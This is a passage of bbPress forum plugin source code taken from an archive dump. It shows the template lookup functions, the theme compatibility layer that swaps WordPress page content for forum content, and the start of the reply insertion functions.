 * @return string Path to template file
 */
function bbp_get_single_reply_template() {
	$templates = array(
		'single-' . bbp_get_reply_post_type() . '.php'
	);
	return bbp_get_query_template( 'single_reply', $templates );
}

/**
 * Get the reply edit template
 *
 * @since 2.0.0 bbPress (r3311)
 *
* @return string Path to template file
 */
function bbp_get_reply_edit_template() {
	$templates = array(
		'single-' . bbp_get_reply_post_type() . '-edit.php' // Single Reply Edit
	);
	return bbp_get_query_template( 'reply_edit', $templates );
}

/**
 * Get the reply move template
 *
 * @since 2.3.0 bbPress (r4521)
 *
 * @return string Path to template file
 */
function bbp_get_reply_move_template() {
	$templates = array(
		'single-' . bbp_get_reply_post_type() . '-move.php', // Reply move
	);
	return bbp_get_query_template( 'reply_move', $templates );
}

/**
 * Get the topic template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_topic_tag_template() {
	$tt_slug   = bbp_get_topic_tag_slug();
	$tt_id     = bbp_get_topic_tag_tax_id();
	$templates = array(
		'taxonomy-' . $tt_slug . '.php', // Single Topic Tag slug
		'taxonomy-' . $tt_id   . '.php', // Single Topic Tag ID
	);
	return bbp_get_query_template( 'topic_tag', $templates );
}

/**
 * Get the topic edit template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_topic_tag_edit_template() {
	$tt_slug   = bbp_get_topic_tag_slug();
	$tt_id     = bbp_get_topic_tag_tax_id();
	$templates = array(
		'taxonomy-' . $tt_slug . '-edit.php', // Single Topic Tag Edit slug
		'taxonomy-' . $tt_id   . '-edit.php'  // Single Topic Tag Edit ID
	);
	return bbp_get_query_template( 'topic_tag_edit', $templates );
}

/**
 * Get the templates to use as the endpoint for bbPress template parts
 *
 * @since 2.0.0 bbPress (r3311)
 * @since 2.6.0 bbPress (r5950) Added `singular.php` to template stack
 *
 * @return string Path to template file
 */
function bbp_get_theme_compat_templates() {
	$templates = array(
		'plugin-bbpress.php',
		'bbpress.php',
		'forums.php',
		'forum.php',
		'generic.php',
		'page.php',
		'single.php',
		'singular.php',
		'index.php'
	);
	return bbp_get_query_template( 'bbpress', $templates );
}
includes/core/theme-compat.php000066600000073643151771460310012424 0ustar00<?php

/**
 * bbPress Theme Compatibility
 *
 * @package bbPress
 * @subpackage Core
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Theme Compat **************************************************************/

/**
 * What follows is an attempt at intercepting the natural page load process
 * to replace the_content() with the appropriate bbPress content.
 *
 * To do this, bbPress does several direct manipulations of global variables
 * and forces them to do what they are not supposed to be doing.
 *
 * Don't try anything you're about to witness here, at home. Ever.
 */

/** Base Class ****************************************************************/

/**
 * Theme Compatibility base class
 *
 * This is only intended to be extended, and is included here as a basic guide
 * for future Template Packs to use. @link bbp_setup_theme_compat()
 *
 * @since 2.0.0 bbPress (r3506)
 */
class BBP_Theme_Compat {

	/**
	 * Should be like:
	 *
	 * array(
	 *     'id'      => ID of the theme (should be unique)
	 *     'name'    => Name of the theme (should match style.css)
	 *     'version' => Theme version for cache busting scripts and styling
	 *     'dir'     => Path to theme
	 *     'url'     => URL to theme
	 * );
	 * @var array
	 */
	private $_data = array();

	/**
	 * Pass the $properties to the object on creation.
	 *
	 * @since 2.1.0 bbPress (r3926)
	 *
	 * @param array $properties
	 */
	public function __construct( Array $properties = array() ) {
		$this->_data = $properties;
	}

	/**
	 * Set a theme's property.
	 *
	 * @since 2.1.0 bbPress (r3926)
	 *
	 * @param string $property
	 * @param mixed $value
	 * @return mixed
	 */
	public function __set( $property, $value ) {
		return $this->_data[ $property ] = $value;
	}

	/**
	 * Get a theme's property.
	 *
	 * @since 2.1.0 bbPress (r3926)
	 *
	 * @param string $property
	 * @param mixed $value
	 * @return mixed
	 */
	public function __get( $property ) {
		return array_key_exists( $property, $this->_data )
			? $this->_data[ $property ]
			: '';
	}

	/**
	 * Return the template directory.
	 *
	 * @since 2.6.0 bbPress (r6548)
	 *
	 * @return string
	 */
	public function get_dir() {
		return $this->dir;
	}
}

/** Functions *****************************************************************/

/**
 * Setup the active template pack and register it's directory in the stack.
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @param BBP_Theme_Compat $theme
 */
function bbp_setup_theme_compat( $theme = 'default' ) {
	$bbp = bbpress();

	// Bail if something already has this under control
	if ( ! empty( $bbp->theme_compat->theme ) ) {
		return;
	}

	// Fallback for empty theme
	if ( empty( $theme ) ) {
		$theme = 'default';
	}

	// If the theme is registered, use it and add it to the stack
	if ( isset( $bbp->theme_compat->packages[ $theme ] ) ) {
		$bbp->theme_compat->theme = $bbp->theme_compat->packages[ $theme ];

		// Setup the template stack for the active template pack
		bbp_register_template_stack( array( $bbp->theme_compat->theme, 'get_dir' ) );
	}
}

/**
 * Get the current template pack package.
 *
 * @since 2.6.0 bbPress (r6548)
 *
 * @return BBP_Theme_Compat
 */
function bbp_get_current_template_pack() {
	$bbp = bbpress();

	// Theme was not setup, so fallback to an empty object
	if ( empty( $bbp->theme_compat->theme ) ) {
		$bbp->theme_compat->theme = new BBP_Theme_Compat();
	}

	// Filter & return
	return apply_filters( 'bbp_get_current_template_pack', $bbp->theme_compat->theme );
}

/**
 * Gets the id of the bbPress compatible theme used, in the event the
 * currently active WordPress theme does not explicitly support bbPress.
 * This can be filtered or set manually. Tricky theme authors can override the
 * default and include their own bbPress compatibility layers for their themes.
 *
 * @since 2.0.0 bbPress (r3506)
 *
 * @return string
 */
function bbp_get_theme_compat_id() {

	// Filter & return
	return apply_filters( 'bbp_get_theme_compat_id', bbp_get_current_template_pack()->id );
}

/**
 * Gets the name of the bbPress compatible theme used, in the event the
 * currently active WordPress theme does not explicitly support bbPress.
 * This can be filtered or set manually. Tricky theme authors can override the
 * default and include their own bbPress compatibility layers for their themes.
 *
 * @since 2.0.0 bbPress (r3506)
 *
 * @return string
 */
function bbp_get_theme_compat_name() {

	// Filter & return
	return apply_filters( 'bbp_get_theme_compat_name', bbp_get_current_template_pack()->name );
}

/**
 * Gets the version of the bbPress compatible theme used, in the event the
 * currently active WordPress theme does not explicitly support bbPress.
 * This can be filtered or set manually. Tricky theme authors can override the
 * default and include their own bbPress compatibility layers for their themes.
 *
 * @since 2.0.0 bbPress (r3506)
 *
 * @return string
 */
function bbp_get_theme_compat_version() {

	// Filter & return
	return apply_filters( 'bbp_get_theme_compat_version', bbp_get_current_template_pack()->version );
}

/**
 * Gets the bbPress compatible theme used in the event the currently active
 * WordPress theme does not explicitly support bbPress. This can be filtered,
 * or set manually. Tricky theme authors can override the default and include
 * their own bbPress compatibility layers for their themes.
 *
 * @since 2.0.0 bbPress (r3032)
 *
 * @return string
 */
function bbp_get_theme_compat_dir() {

	// Filter & return
	return apply_filters( 'bbp_get_theme_compat_dir', bbp_get_current_template_pack()->dir );
}

/**
 * Gets the bbPress compatible theme used in the event the currently active
 * WordPress theme does not explicitly support bbPress. This can be filtered,
 * or set manually. Tricky theme authors can override the default and include
 * their own bbPress compatibility layers for their themes.
 *
 * @since 2.0.0 bbPress (r3032)
 *
 * @return string
 */
function bbp_get_theme_compat_url() {

	// Filter & return
	return apply_filters( 'bbp_get_theme_compat_url', bbp_get_current_template_pack()->url );
}

/**
 * Gets true/false if page is currently inside theme compatibility
 *
 * @since 2.0.0 bbPress (r3265)
 *
 * @return bool
 */
function bbp_is_theme_compat_active() {
	$bbp = bbpress();

	if ( empty( $bbp->theme_compat->active ) ) {
		return false;
	}

	return $bbp->theme_compat->active;
}

/**
 * Sets true/false if page is currently inside theme compatibility
 *
 * @since 2.0.0 bbPress (r3265)
 *
 * @param bool $set
 * @return bool
 */
function bbp_set_theme_compat_active( $set = true ) {
	bbpress()->theme_compat->active = $set;

	return (bool) bbpress()->theme_compat->active;
}

/**
 * Set the theme compat templates global
 *
 * Stash possible template files for the current query. Useful if plugins want
 * to override them, or see what files are being scanned for inclusion.
 *
 * @since 2.0.0 bbPress (r3311)
 */
function bbp_set_theme_compat_templates( $templates = array() ) {
	bbpress()->theme_compat->templates = $templates;

	return bbpress()->theme_compat->templates;
}

/**
 * Set the theme compat template global
 *
 * Stash the template file for the current query. Useful if plugins want
 * to override it, or see what file is being included.
 *
 * @since 2.0.0 bbPress (r3311)
 */
function bbp_set_theme_compat_template( $template = '' ) {
	bbpress()->theme_compat->template = $template;

	return bbpress()->theme_compat->template;
}

/**
 * Set the theme compat original_template global
 *
 * Stash the original template file for the current query. Useful for checking
 * if bbPress was able to find a more appropriate template.
 *
 * @since 2.1.0 bbPress (r3926)
 */
function bbp_set_theme_compat_original_template( $template = '' ) {
	bbpress()->theme_compat->original_template = $template;

	return bbpress()->theme_compat->original_template;
}

/**
 * Is a template the original_template global
 *
 * Stash the original template file for the current query. Useful for checking
 * if bbPress was able to find a more appropriate template.
 *
 * @since 2.1.0 bbPress (r3926)
 */
function bbp_is_theme_compat_original_template( $template = '' ) {
	$bbp = bbpress();

	// Bail if no original template
	if ( empty( $bbp->theme_compat->original_template ) ) {
		return false;
	}

	return (bool) ( $bbp->theme_compat->original_template === $template );
}

/**
 * Register a new bbPress theme package to the active theme packages array
 *
 * @since 2.1.0 bbPress (r3829)
 *
 * @param array $theme
 */
function bbp_register_theme_package( $theme = array(), $override = true ) {

	// Create new BBP_Theme_Compat object from the $theme array
	if ( is_array( $theme ) ) {
		$theme = new BBP_Theme_Compat( $theme );
	}

	// Bail if $theme isn't a proper object
	if ( ! is_a( $theme, 'BBP_Theme_Compat' ) ) {
		return;
	}

	// Load up bbPress
	$bbp = bbpress();

	// Only override if the flag is set and not previously registered
	if ( empty( $bbp->theme_compat->packages[ $theme->id ] ) || ( true === $override ) ) {
		$bbp->theme_compat->packages[ $theme->id ] = $theme;
	}
}

/**
 * This fun little function fills up some WordPress globals with dummy data to
 * stop your average page template from complaining about it missing.
 *
 * @since 2.0.0 bbPress (r3108)
 *
 * @global WP_Query $wp_query
 * @global object $post
 * @param array $args
 */
function bbp_theme_compat_reset_post( $args = array() ) {
	global $wp_query, $post;

	// Switch defaults if post is set
	if ( isset( $wp_query->post ) ) {

		// Use primarily Post attributes
		$defaults = array(
			'ID'                    => $wp_query->post->ID,
			'post_status'           => $wp_query->post->post_status,
			'post_author'           => $wp_query->post->post_author,
			'post_parent'           => $wp_query->post->post_parent,
			'post_type'             => $wp_query->post->post_type,
			'post_date'             => $wp_query->post->post_date,
			'post_date_gmt'         => $wp_query->post->post_date_gmt,
			'post_modified'         => $wp_query->post->post_modified,
			'post_modified_gmt'     => $wp_query->post->post_modified_gmt,
			'post_content'          => $wp_query->post->post_content,
			'post_title'            => $wp_query->post->post_title,
			'post_excerpt'          => $wp_query->post->post_excerpt,
			'post_content_filtered' => $wp_query->post->post_content_filtered,
			'post_mime_type'        => $wp_query->post->post_mime_type,
			'post_password'         => $wp_query->post->post_password,
			'post_name'             => $wp_query->post->post_name,
			'guid'                  => $wp_query->post->guid,
			'menu_order'            => $wp_query->post->menu_order,
			'pinged'                => $wp_query->post->pinged,
			'to_ping'               => $wp_query->post->to_ping,
			'ping_status'           => $wp_query->post->ping_status,
			'comment_status'        => $wp_query->post->comment_status,
			'comment_count'         => $wp_query->post->comment_count,
			'filter'                => $wp_query->post->filter,

			'is_404'                => false,
			'is_page'               => false,
			'is_single'             => false,
			'is_archive'            => false,
			'is_tax'                => false
		);
	} else {

		// Get the default zero date value a single time
		$zero_date = bbp_get_empty_datetime();

		// Use primarily empty attributes
		$defaults = array(
			'ID'                    => -9999,
			'post_status'           => bbp_get_public_status_id(),
			'post_author'           => 0,
			'post_parent'           => 0,
			'post_type'             => 'page',
			'post_date'             => $zero_date,
			'post_date_gmt'         => $zero_date,
			'post_modified'         => $zero_date,
			'post_modified_gmt'     => $zero_date,
			'post_content'          => '',
			'post_title'            => '',
			'post_excerpt'          => '',
			'post_content_filtered' => '',
			'post_mime_type'        => '',
			'post_password'         => '',
			'post_name'             => '',
			'guid'                  => '',
			'menu_order'            => 0,
			'pinged'                => '',
			'to_ping'               => '',
			'ping_status'           => '',
			'comment_status'        => 'closed',
			'comment_count'         => 0,
			'filter'                => 'raw',

			'is_404'                => false,
			'is_page'               => false,
			'is_single'             => false,
			'is_archive'            => false,
			'is_tax'                => false
		);
	}

	// Parse & filter
	$dummy = bbp_parse_args( $args, $defaults, 'theme_compat_reset_post' );

	// Bail if dummy post is empty
	if ( empty( $dummy ) ) {
		return;
	}

	// Set the $post global
	$post = new WP_Post( (object) $dummy );

	// Copy the new post global into the main $wp_query
	$wp_query->post       = $post;
	$wp_query->posts      = array( $post );

	// Prevent comments form from appearing
	$wp_query->post_count = 1;
	$wp_query->is_404     = $dummy['is_404'];
	$wp_query->is_page    = $dummy['is_page'];
	$wp_query->is_single  = $dummy['is_single'];
	$wp_query->is_archive = $dummy['is_archive'];
	$wp_query->is_tax     = $dummy['is_tax'];

	// Reset is_singular based on page/single args
	// https://bbpress.trac.wordpress.org/ticket/2545
	$wp_query->is_singular = $wp_query->is_single;

	// Clean up the dummy post
	unset( $dummy );

	// If we are resetting a post, we are in theme compat
	bbp_set_theme_compat_active( true );
}

/**
 * Reset main query vars and filter 'the_content' to output a bbPress
 * template part as needed.
 *
 * @since 2.0.0 bbPress (r3032)
 *
 * @param string $template
 */
function bbp_template_include_theme_compat( $template = '' ) {

	/**
	 * Bail if a root template was already found. This prevents unintended
	 * recursive filtering of 'the_content'.
	 *
	 * @link https://bbpress.trac.wordpress.org/ticket/2429
	 */
	if ( bbp_is_template_included() ) {
		return $template;
	}

	/**
	 * If BuddyPress is activated at a network level, the action order is
	 * reversed, which causes the template integration to fail. If we're looking
	 * at a BuddyPress page here, bail to prevent the extra processing.
	 *
	 * This is a bit more brute-force than is probably necessary, but gets the
	 * job done while we work towards something more elegant.
	 */
	if ( function_exists( 'is_buddypress' ) && is_buddypress() ) {
		return $template;
	}

	// Define local variable(s)
	$bbp_shortcodes = bbpress()->shortcodes;

	// Bail if shortcodes are unset somehow
	if ( ! is_a( $bbp_shortcodes, 'BBP_Shortcodes' ) ) {
		return $template;
	}

	/** Users *************************************************************/

	if ( bbp_is_single_user_edit() || bbp_is_single_user() ) {

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => 0,
			'post_author'    => 0,
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => bbp_buffer_template_part( 'content', 'single-user', false ),
			'post_type'      => '',
			'post_title'     => bbp_get_displayed_user_field( 'display_name' ),
			'post_status'    => bbp_get_public_status_id(),
			'is_archive'     => false,
			'comment_status' => 'closed'
		) );

	/** Forums ************************************************************/

	// Forum archive
	} elseif ( bbp_is_forum_archive() ) {

		// Page exists where this archive should be
		$page = bbp_get_page_by_path( bbp_get_root_slug() );

		// Should we replace the content...
		if ( empty( $page->post_content ) ) {

			// Use the topics archive
			if ( 'topics' === bbp_show_on_root() ) {
				$new_content = $bbp_shortcodes->display_topic_index();

			// No page so show the archive
			} else {
				$new_content = $bbp_shortcodes->display_forum_index();
			}

		// ...or use the existing page content?
		} else {
			$new_content = apply_filters( 'the_content', $page->post_content );
		}

		// Should we replace the title...
		if ( empty( $page->post_title ) ) {

			// Use the topics archive
			if ( 'topics' === bbp_show_on_root() ) {
				$new_title = bbp_get_topic_archive_title();

			// No page so show the archive
			} else {
				$new_title = bbp_get_forum_archive_title();
			}

		// ...or use the existing page title?
		} else {
			$new_title = apply_filters( 'the_title',   $page->post_title   );
		}

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => ! empty( $page->ID ) ? $page->ID : 0,
			'post_title'     => $new_title,
			'post_author'    => 0,
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $new_content,
			'post_type'      => bbp_get_forum_post_type(),
			'post_status'    => bbp_get_public_status_id(),
			'is_archive'     => true,
			'comment_status' => 'closed'
		) );

	// Single Forum
	} elseif ( bbp_is_forum_edit() ) {

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => bbp_get_forum_id(),
			'post_title'     => bbp_get_forum_title(),
			'post_author'    => bbp_get_forum_author_id(),
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $bbp_shortcodes->display_forum_form(),
			'post_type'      => bbp_get_forum_post_type(),
			'post_status'    => bbp_get_forum_visibility(),
			'is_single'      => true,
			'comment_status' => 'closed'
		) );

		// Lock the forum from other edits
		bbp_set_post_lock( bbp_get_forum_id() );

	} elseif ( bbp_is_single_forum() ) {

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => bbp_get_forum_id(),
			'post_title'     => bbp_get_forum_title(),
			'post_author'    => bbp_get_forum_author_id(),
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $bbp_shortcodes->display_forum( array( 'id' => bbp_get_forum_id() ) ),
			'post_type'      => bbp_get_forum_post_type(),
			'post_status'    => bbp_get_forum_visibility(),
			'is_single'      => true,
			'comment_status' => 'closed'
		) );

	/** Topics ************************************************************/

	// Topic archive
	} elseif ( bbp_is_topic_archive() ) {

		// Page exists where this archive should be
		$page = bbp_get_page_by_path( bbp_get_topic_archive_slug() );

		// Should we replace the content...
		if ( empty( $page->post_content ) ) {
			$new_content = $bbp_shortcodes->display_topic_index();

		// ...or use the existing page content?
		} else {
			$new_content = apply_filters( 'the_content', $page->post_content );
		}

		// Should we replace the title...
		if ( empty( $page->post_title ) ) {
			$new_title = bbp_get_topic_archive_title();

		// ...or use the existing page title?
		} else {
			$new_title = apply_filters( 'the_title',   $page->post_title   );
		}

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => ! empty( $page->ID ) ? $page->ID : 0,
			'post_title'     => bbp_get_topic_archive_title(),
			'post_author'    => 0,
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $new_content,
			'post_type'      => bbp_get_topic_post_type(),
			'post_status'    => bbp_get_public_status_id(),
			'is_archive'     => true,
			'comment_status' => 'closed'
		) );

	// Single Topic
	} elseif ( bbp_is_topic_edit() || bbp_is_single_topic() ) {

		// Split
		if ( bbp_is_topic_split() ) {
			$new_content = bbp_buffer_template_part( 'form', 'topic-split', false );

		// Merge
		} elseif ( bbp_is_topic_merge() ) {
			$new_content = bbp_buffer_template_part( 'form', 'topic-merge', false );

		// Edit
		} elseif ( bbp_is_topic_edit() ) {
			$new_content = $bbp_shortcodes->display_topic_form();

			// Lock the topic from other edits
			bbp_set_post_lock( bbp_get_topic_id() );

		// Single
		} else {
			$new_content = $bbp_shortcodes->display_topic( array( 'id' => bbp_get_topic_id() ) );
		}

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => bbp_get_topic_id(),
			'post_title'     => bbp_get_topic_title(),
			'post_author'    => bbp_get_topic_author_id(),
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $new_content,
			'post_type'      => bbp_get_topic_post_type(),
			'post_status'    => bbp_get_topic_status(),
			'is_single'      => true,
			'comment_status' => 'closed'
		) );

	/** Replies ***********************************************************/

	// Reply archive
	} elseif ( is_post_type_archive( bbp_get_reply_post_type() ) ) {

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => 0,
			'post_title'     => esc_html__( 'Replies', 'bbpress' ),
			'post_author'    => 0,
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $bbp_shortcodes->display_reply_index(),
			'post_type'      => bbp_get_reply_post_type(),
			'post_status'    => bbp_get_public_status_id(),
			'is_archive'     => true,
			'comment_status' => 'closed'
		) );

	// Single Reply
	} elseif ( bbp_is_reply_edit() || bbp_is_single_reply() ) {

		// Move
		if ( bbp_is_reply_move() ) {
			$new_content = bbp_buffer_template_part( 'form', 'reply-move', false );

		// Edit
		} elseif ( bbp_is_reply_edit() ) {
			$new_content = $bbp_shortcodes->display_reply_form();

			// Lock the reply from other edits
			bbp_set_post_lock( bbp_get_reply_id() );

		// Single
		} else {
			$new_content = $bbp_shortcodes->display_reply( array( 'id' => get_the_ID() ) );
		}

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => bbp_get_reply_id(),
			'post_title'     => bbp_get_reply_title(),
			'post_author'    => bbp_get_reply_author_id(),
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $new_content,
			'post_type'      => bbp_get_reply_post_type(),
			'post_status'    => bbp_get_reply_status(),
			'is_single'      => true,
			'comment_status' => 'closed'
		) );

	/** Views *************************************************************/

	} elseif ( bbp_is_single_view() ) {

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => 0,
			'post_title'     => bbp_get_view_title(),
			'post_author'    => 0,
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $bbp_shortcodes->display_view( array( 'id' => get_query_var( bbp_get_view_rewrite_id() ) ) ),
			'post_type'      => '',
			'post_status'    => bbp_get_public_status_id(),
			'is_archive'     => true,
			'comment_status' => 'closed'
		) );

	/** Search ************************************************************/

	} elseif ( bbp_is_search() ) {

		// Reset post
		bbp_theme_compat_reset_post( array(
			'ID'             => 0,
			'post_title'     => bbp_get_search_title(),
			'post_author'    => 0,
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $bbp_shortcodes->display_search( array( 'search' => get_query_var( bbp_get_search_rewrite_id() ) ) ),
			'post_type'      => '',
			'post_status'    => bbp_get_public_status_id(),
			'is_archive'     => true,
			'comment_status' => 'closed'
		) );

	/** Topic Tags ********************************************************/

	// Topic Tag Edit
	} elseif ( bbp_is_topic_tag_edit() || bbp_is_topic_tag() ) {

		// Stash the current term in a new var
		set_query_var( 'bbp_topic_tag', get_query_var( 'term' ) );

		// Show topics of tag
		if ( bbp_is_topic_tag() ) {
			$new_content = $bbp_shortcodes->display_topics_of_tag( array( 'id' => bbp_get_topic_tag_id() ) );

		// Edit topic tag
		} elseif ( bbp_is_topic_tag_edit() ) {
			$new_content = $bbp_shortcodes->display_topic_tag_form();
		}

		// Reset the post with our new title
		bbp_theme_compat_reset_post( array(
			'ID'             => 0,
			'post_author'    => 0,
			'post_date'      => bbp_get_empty_datetime(),
			'post_content'   => $new_content,
			'post_type'      => '',
			'post_title'     => sprintf( esc_html__( 'Topic Tag: %s', 'bbpress' ), bbp_get_topic_tag_name() ),
			'post_status'    => bbp_get_public_status_id(),
			'is_tax'         => true,
			'is_archive'     => true,
			'comment_status' => 'closed'
		) );
	}

	/**
	 * Bail if the template already matches a bbPress template. This includes
	 * archive-* and single-* WordPress post_type matches (allowing
	 * themes to use the expected format) as well as all bbPress-specific
	 * template files for users, topics, forums, etc...
	 *
	 * We do this after the above checks to prevent incorrect 404 body classes
	 * and header statuses, as well as to set the post global as needed.
	 *
	 * @see https://bbpress.trac.wordpress.org/ticket/1478/
	 */
	if ( bbp_is_template_included() ) {
		return $template;

	/**
	 * If we are relying on the built-in theme compatibility API to load
	 * the proper content, we need to intercept the_content, replace the
	 * output, and display ours instead.
	 *
	 * To do this, we first remove all filters from 'the_content' and hook
	 * our own function into it, which runs a series of checks to determine
	 * the context, and then uses the built in shortcodes to output the
	 * correct results from inside an output buffer.
	 *
	 * Uses bbp_get_theme_compat_templates() to provide fall-backs that
	 * should be coded without superfluous mark-up and logic (prev/next
	 * navigation, comments, date/time, etc...)
	 *
	 * Hook into the 'bbp_get_bbpress_template' to override the array of
	 * possible templates, or 'bbp_bbpress_template' to override the result.
	 */
	} elseif ( bbp_is_theme_compat_active() ) {
		bbp_remove_all_filters( 'the_content' );

		$template = bbp_get_theme_compat_templates();
	}

	// Filter & return
	return apply_filters( 'bbp_template_include_theme_compat', $template );
}

/** Helpers *******************************************************************/

/**
 * Remove the canonical redirect to allow pretty pagination
 *
 * @since 2.0.0 bbPress (r2628)
 *
 * @param string $redirect_url Redirect url
 *
 * @return bool|string False if it's a topic/forum and their first page,
 *                      otherwise the redirect url
 */
function bbp_redirect_canonical( $redirect_url ) {

	// Canonical is for the beautiful
	if ( bbp_use_pretty_urls() ) {

		// If viewing beyond page 1 of several
		if ( 1 < bbp_get_paged() ) {

			// Only on single topics...
			if ( bbp_is_single_topic() ) {
				$redirect_url = false;

			// ...and single forums...
			} elseif ( bbp_is_single_forum() ) {
				$redirect_url = false;

			// ...and single replies...
			} elseif ( bbp_is_single_reply() ) {
				$redirect_url = false;

			// ...and any single anything else...
			//
			// @todo - Find a more accurate way to disable paged canonicals for
			//          paged shortcode usage within other posts.
			} elseif ( is_page() || is_singular() ) {
				$redirect_url = false;
			}

		// If editing a topic
		} elseif ( bbp_is_topic_edit() ) {
			$redirect_url = false;

		// If editing a reply
		} elseif ( bbp_is_reply_edit() ) {
			$redirect_url = false;
		}
	}

	return $redirect_url;
}

/** Filters *******************************************************************/

/**
 * Removes all filters from a WordPress filter, and stashes them in the $bbp
 * global in the event they need to be restored later.
 *
 * @since 2.0.0 bbPress (r3251)
 *
 * @global WP_filter $wp_filter
 * @global array $merged_filters
 * @param string $tag
 * @param int $priority
 * @return bool
 */
function bbp_remove_all_filters( $tag, $priority = false ) {
	global $wp_filter, $merged_filters;

	$bbp = bbpress();

	// Filters exist
	if ( isset( $wp_filter[ $tag ] ) ) {

		// Filters exist in this priority
		if ( ! empty( $priority ) && isset( $wp_filter[ $tag ][ $priority ] ) ) {

			// Store filters in a backup
			$bbp->filters->wp_filter[ $tag ][ $priority ] = $wp_filter[ $tag ][ $priority ];

			// Unset the filters
			unset( $wp_filter[ $tag ][ $priority ] );

		// Priority is empty
		} else {

			// Store filters in a backup
			$bbp->filters->wp_filter[ $tag ] = $wp_filter[ $tag ];

			// Unset the filters
			unset( $wp_filter[ $tag ] );
		}
	}

	// Check merged filters
	if ( isset( $merged_filters[ $tag ] ) ) {

		// Store filters in a backup
		$bbp->filters->merged_filters[ $tag ] = $merged_filters[ $tag ];

		// Unset the filters
		unset( $merged_filters[ $tag ] );
	}

	return true;
}

/**
 * Restores filters from the $bbp global that were removed using
 * bbp_remove_all_filters()
 *
 * @since 2.0.0 bbPress (r3251)
 *
 * @global WP_filter $wp_filter
 * @global array $merged_filters
 * @param string $tag
 * @param int $priority
 * @return bool
 */
function bbp_restore_all_filters( $tag, $priority = false ) {
	global $wp_filter, $merged_filters;

	$bbp = bbpress();

	// Filters exist
	if ( isset( $bbp->filters->wp_filter[ $tag ] ) ) {

		// Filters exist in this priority
		if ( ! empty( $priority ) && isset( $bbp->filters->wp_filter[ $tag ][ $priority  ] ) ) {

			// Store filters in a backup
			$wp_filter[ $tag ][ $priority ] = $bbp->filters->wp_filter[ $tag ][ $priority ];

			// Unset the filters
			unset( $bbp->filters->wp_filter[ $tag ][ $priority ] );

		// Priority is empty
		} else {

			// Store filters in a backup
			$wp_filter[ $tag ] = $bbp->filters->wp_filter[ $tag ];

			// Unset the filters
			unset( $bbp->filters->wp_filter[ $tag ] );
		}
	}

	// Check merged filters
	if ( isset( $bbp->filters->merged_filters[ $tag ] ) ) {

		// Store filters in a backup
		$merged_filters[ $tag ] = $bbp->filters->merged_filters[ $tag ];

		// Unset the filters
		unset( $bbp->filters->merged_filters[ $tag ] );
	}

	return true;
}

/**
 * Force comments_status to 'closed' for bbPress post types
 *
 * @since 2.1.0 bbPress (r3589)
 *
 * @param bool $open True if open, false if closed
 * @param int $post_id ID of the post to check
 * @return bool True if open, false if closed
 */
function bbp_force_comment_status( $open = false, $post_id = 0 ) {

	// Default return value is what is passed in $open
	$retval = (bool) $open;

	// Get the post type of the post ID
	$post_type = get_post_type( $post_id );

	// Only force for bbPress post types
	if ( in_array( $post_type, bbp_get_post_types(), true ) ) {
		$retval = false;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_force_comment_status', $retval, $open, $post_id, $post_type );
}

/**
 * Remove "prev" and "next" relational links from <head> on bbPress pages.
 *
 * WordPress automatically generates these relational links to the current
 * page, but bbPress does not use these links, nor would they work the same.
 *
 * In this function, we remove these links when on a bbPress page. This also
 * prevents additional, unnecessary queries from running.
 *
 * @since 2.6.0 bbPress (r7071)
 */
function bbp_remove_adjacent_posts() {

	// Bail if not a bbPress page
	if ( ! is_bbpress() ) {
		return;
	}

	// Remove the WordPress core action for adjacent posts
	remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10 );
}
includes/replies/functions.php000066600000223571151771460310012561 0ustar00<?php

/**
 * bbPress Reply Functions
 *
 * @package bbPress
 * @subpackage Functions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Insert ********************************************************************/

/**
 * A wrapper for wp_insert_post() that also includes the necessary meta values
 * for the reply to function properly.
 *
 * @since 2.0.0 bbPress (r3349)
 *
 * @param array $reply_data Forum post data
 * @param arrap $reply_meta Forum meta data
 */
function bbp_insert_reply( $reply_data = array(), $reply_meta = array() ) {

	// Parse arguments against default values
	$reply_data = bbp_parse_args( $reply_data, array(
		'post_parent'    => 0, // topic ID
		'post_type'      => bbp_get_reply_post_type(),
		'post_author'    => bbp_get_current_user_id(),
		'post_password'  => '',
		'post_content'   => '',
		'post_title'     => '',
		'menu_order'     => bbp_get_topic_reply_count( $reply_data['post_parent'], true ) + 1,
		'comment_status' => 'closed'
	), 'insert_reply' );

	// Possibly override status based on parent topic
	if ( ! empty( $reply_data['post_parent'] ) && empty( $reply_data['post_status'] ) ) {
		$reply_data['post_status'] = bbp_get_topic_status( $reply_data['post_parent'] );
	}

	// Insert reply
	$reply_id = wp_insert_post( $reply_data, false );

	// Bail if no reply was added
	if ( empty( $reply_id ) ) {
		return false;
	}

	// Parse arguments against default values
	$reply_meta = bbp_parse_args( $reply_meta, array(
		'author_ip' => bbp_current_author_ip(),
		'forum_id'  => 0,
		'topic_id'  => 0,
		'reply_to'  => 0
	), 'insert_reply_meta' );

	// Insert reply meta
	foreach ( $reply_meta as $meta_key => $meta_value ) {

		// Prefix if not prefixed
		if ( '_bbp_' !== substr( $meta_key, 0, 5 ) ) {
			$meta_key = '_bbp_' . $meta_key;
		}

		// Update the meta
